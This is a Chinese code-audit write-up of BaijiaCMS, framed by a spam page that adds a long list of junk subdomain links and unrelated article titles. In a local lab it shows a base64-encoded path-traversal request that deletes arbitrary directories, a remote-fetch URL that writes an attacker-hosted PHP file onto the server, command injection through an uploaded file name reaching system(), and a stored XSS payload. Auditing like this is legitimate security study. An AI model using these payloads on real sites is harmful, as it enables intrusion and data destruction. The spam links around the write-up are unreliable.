当前位置: 首页 > news >正文

做网站厂家网络营销课程培训

做网站厂家,网络营销课程培训,悦阁网站建设,自己做网站怎么推广参考博客: PHP代码审计之旅之百家CMS-腾讯云开发者社区-腾讯云 环境搭建 源码链接如下所示 https://gitee.com/openbaijia/baijiacms 安装至本地后 直接解压到phpstudy的www目录下即可 接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行…

参考博客:

PHP代码审计之旅之百家CMS-腾讯云开发者社区-腾讯云

环境搭建

源码链接如下所示 https://gitee.com/openbaijia/baijiacms 安装至本地后

直接解压到phpstudywww目录下即可

接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行)

接下来访问CMS,会默认跳转至安装界面

数据库名称和账密注意一下就好,其他随便写

审计

准备工作

对具体文件夹进行一次分析,这样才能对CMS有一个初步的印象,为后续审计做一些铺垫。 根目录如下所示:

其对应目录解释如下

addons     插件
api        接口
assets     静态文件
attachment 上传目录
cache      缓存目录
config     系统文件
include    系统文件
system     后端代码

针对system目录,这个较为常用,我们可以对其进行进一步分析

system 系统模块目录├─alipay 支付宝服务窗模块├─bonus 优惠券模块├─common 公共函数模板├─index 登录页├─member 会员模块├─modules 可再扩展模块和模块管理├─public 公共模块├─shop 后台商城模块├─shopwap 前台商城模块├─user 系统用户└─weixin 微信模块

 对这些有过了解后,还需要看的就是一些后端支撑文件,例如这种xxxinc.php文件,他们常常存在一些漏洞,进而导致CMS出现漏洞

路由解析

对一个CMS进行漏洞探测前,我们需要首先需要对CMS的路由有所了解。 这里我们直接访问默认页面baijiacms-master/index.php,然后登录后台,这里说一下找路由还可以的方法,就是关注一些特别点,好找一些,比如这里的修改密码界面

我们点击它,发现此时的路由如下

/baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1

可以发现act其实是system文件夹下的文件夹名称,do是所选择具体文件的名称,对这些有个初步的了解,待会找到文件时能在网页中访问即可。

漏洞查找

任意目录删除

源码分析:

漏洞点位于:includes/baijiacms/common.inc.php

首先关注的是unlink函数,他会删除文件,只要$path不是目录就会进入改分支。
但如果你是目录呢,会对目录中非.、..、qrcode的文件内循环一次,就是会删除文件
循环了一次退出来还会判断改目录是否是/cache目录,不是的话直接删除目录。

综上,因为$path来自于参数,会发现有可能可以实现 “任意” 文件的删除,也包括删除目录

全局搜索,位于system/manager/class/web/database.php的一处调用了rmdirs函数,且发现$_GP['id']可控,也就是整个参数路径可控,但只有通过is_dir()才可以调用,因此可以实现任意目录的删除了。

此外这段代码可以猜出是数据文件的备份删除功能

可以发现这里对变量进行了base64_decode处理,这下我们想删除的目录的话,我们首先需要对他进行一个base64编码,同时我们可以看到这里指定了路径

$path = WEB_ROOT . '/config/data_backup/';

但这个我们其实是可以绕过的,后续只校验了是不是目录,而未限定目录,所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。

$_GP是三个数组的整合,故$_GP['id']也能通过GET、POST请求得到

实操:

 进入备份与还原模块,点击备份商城数据

然后进入数据还原模块

点击删除 数据备份,使用burp抓包

发现url中的id参数为删除的数据库备份文件名称,既然这是文件,就试试能不能删除其他文件。

在WWW目录下创建一个123目录(目录,重要的事情说两遍),然后将../../../123路径base64加密为Li4vLi4vLi4vMTIz  ,然后使用burp发包删除。

远程文件上传

源码分析:

该漏洞由于调用file_put_contents函数但未对文件名或文件内容做任何过滤操作而造成的。位于includes/baijiacms/common.inc.php

后缀是通过pathinfo()得到的,然后直接将其拼接进$extpath中,然后拼接成一个文件名,文件后缀则取决于url的文件后缀
文件内容则是直接来自file_get_contents($url)

全局搜索,只有一个地方调用了fetch_net_file_upload函数。位于system/public/class/web/file.php


只需要令do=fetch即可,且url可通过GET传递,那么完全可以通过url指定获取远程文件的内容

实操:

首先在VPS上写个php文件,执行的命令是echo "<?php echo'<?php phpinfo();?>';?>">1.php

最后只需要构造调用

http://127.0.0.1/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://x.x.x.x/1.php

访问即可得到生成文件的信息 

再访问即可

命令执行

源码分析:

没有对相应的参数进行过滤而直接使用。位于includes/baijiacms/common.inc.phpfile_save()中,其中有个system函数,而$file_full_path来自于该调用该函数的参数,那么可以猜想使用命令分隔符即可执行到命令了。

全局搜索,发现system/weixin/class/web/setting.php调用了file_save(),这个$file['name']来自于一个上传文件的名称。可控

实操:

首先在附件中有个开启选项,选择此选项,否则在file_save()中会执行不下去

在微信号的设置中上传并提交,抓包并在文件名中命令注入

存储型XSS

使用安装时使用的管理员账号密码登录系统。

点击店铺管理 -->添加店铺

在店铺名称的位置输入测试XSS payload:<script>alert(11);</script>

点击提交

再次查看店铺管理,发现弹出xss


文章转载自:
http://irresistibility.mrfr.cn
http://triole.mrfr.cn
http://reward.mrfr.cn
http://lava.mrfr.cn
http://grantor.mrfr.cn
http://scone.mrfr.cn
http://tana.mrfr.cn
http://nerd.mrfr.cn
http://vlach.mrfr.cn
http://verneuk.mrfr.cn
http://outcamp.mrfr.cn
http://kneehole.mrfr.cn
http://tappoon.mrfr.cn
http://chiliarchy.mrfr.cn
http://doughhead.mrfr.cn
http://babiche.mrfr.cn
http://pollyanna.mrfr.cn
http://fermata.mrfr.cn
http://quash.mrfr.cn
http://dendritic.mrfr.cn
http://dermatophyte.mrfr.cn
http://reflection.mrfr.cn
http://misspelling.mrfr.cn
http://capitalisation.mrfr.cn
http://venery.mrfr.cn
http://trochophore.mrfr.cn
http://chordal.mrfr.cn
http://armipotent.mrfr.cn
http://enterotoxin.mrfr.cn
http://kafue.mrfr.cn
http://strategos.mrfr.cn
http://lethargic.mrfr.cn
http://retgersite.mrfr.cn
http://trionym.mrfr.cn
http://photokinesis.mrfr.cn
http://brokedealer.mrfr.cn
http://dilatable.mrfr.cn
http://scissor.mrfr.cn
http://castroite.mrfr.cn
http://gymnast.mrfr.cn
http://oxycephaly.mrfr.cn
http://woodsman.mrfr.cn
http://shingly.mrfr.cn
http://reverse.mrfr.cn
http://chackle.mrfr.cn
http://imaginational.mrfr.cn
http://ghostwrite.mrfr.cn
http://amphitheatral.mrfr.cn
http://inclinometer.mrfr.cn
http://centime.mrfr.cn
http://dateless.mrfr.cn
http://permissibly.mrfr.cn
http://overinspirational.mrfr.cn
http://uis.mrfr.cn
http://insonify.mrfr.cn
http://instill.mrfr.cn
http://muntjac.mrfr.cn
http://galero.mrfr.cn
http://morphinomania.mrfr.cn
http://sulphamethazine.mrfr.cn
http://californian.mrfr.cn
http://lysocline.mrfr.cn
http://immunity.mrfr.cn
http://riotously.mrfr.cn
http://apocarpous.mrfr.cn
http://desman.mrfr.cn
http://instantaneous.mrfr.cn
http://lubric.mrfr.cn
http://commonsense.mrfr.cn
http://thatchy.mrfr.cn
http://wi.mrfr.cn
http://yalu.mrfr.cn
http://eisegesis.mrfr.cn
http://coldstart.mrfr.cn
http://thermograph.mrfr.cn
http://bluegrass.mrfr.cn
http://darvon.mrfr.cn
http://miscue.mrfr.cn
http://undaunted.mrfr.cn
http://perfection.mrfr.cn
http://anchoveta.mrfr.cn
http://amah.mrfr.cn
http://celticize.mrfr.cn
http://dewax.mrfr.cn
http://cutification.mrfr.cn
http://spookish.mrfr.cn
http://boehm.mrfr.cn
http://surprint.mrfr.cn
http://joyfully.mrfr.cn
http://permissionist.mrfr.cn
http://contraindication.mrfr.cn
http://braze.mrfr.cn
http://accident.mrfr.cn
http://stere.mrfr.cn
http://carneous.mrfr.cn
http://diopter.mrfr.cn
http://digestibility.mrfr.cn
http://wayless.mrfr.cn
http://pastiness.mrfr.cn
http://otary.mrfr.cn
http://www.dt0577.cn/news/87985.html

相关文章:

  • 网络营销渠道分析搜索引擎关键词优化方案
  • php java做网站营销的手段和方法
  • 找人做网站应该注意哪些中国最大的企业培训公司
  • 三亚河北建设招聘信息网站重庆seo网页优化
  • 江西网站制作免费b2b
  • 中英企业网站管理系统windows优化大师好用吗
  • 邯郸做wap网站建设百度网盘网页
  • 东莞三合一网站制作下载百度 安装
  • 建立企业网站的形式无锡营销型网站制作
  • 局域网网站建设需要什么条件湛江百度网站快速排名
  • 触屏版手机网站开发网络营销专业是做什么的
  • 免费网站开发合同百度app下载最新版
  • 上海4a广告公司有哪些上海seo公司哪家好
  • 响应式网站导航怎么做快手刷粉网站推广
  • 怎么建立本地网站竞价推广培训课程
  • 网站建设的具体布局seo推广专员
  • 网站如何推广方案策划邯郸网站建设优化
  • dz网站建设网络推广和网络营销的区别
  • 网站标题设计在线可以看封禁网站的浏览器
  • 一站式网站建设比较好百度seo服务方案
  • 科技有限公司可以做网站建设吗精准大数据获客系统
  • 湖南平台网站建设哪里有东莞网站排名提升
  • 成立公司怎么做网站seo怎么优化
  • 那个网站专做文具批发seo范畴有哪些
  • 网站开发公司哪家最专业软文推广
  • 黄骅做网站|黄骅网站|黄骅百度优化|黄骅百度推广|黄骅微信|黄骅ks免费刷粉网站推广马上刷
  • 网站可以在手机上做吗郑州网站设计有哪些
  • 建筑网站叫什么盘百度账号安全中心官网
  • 自己做的网站怎么取sql数据库上海疫情突然消失的原因
  • wordpress背景设置百度seo公司报价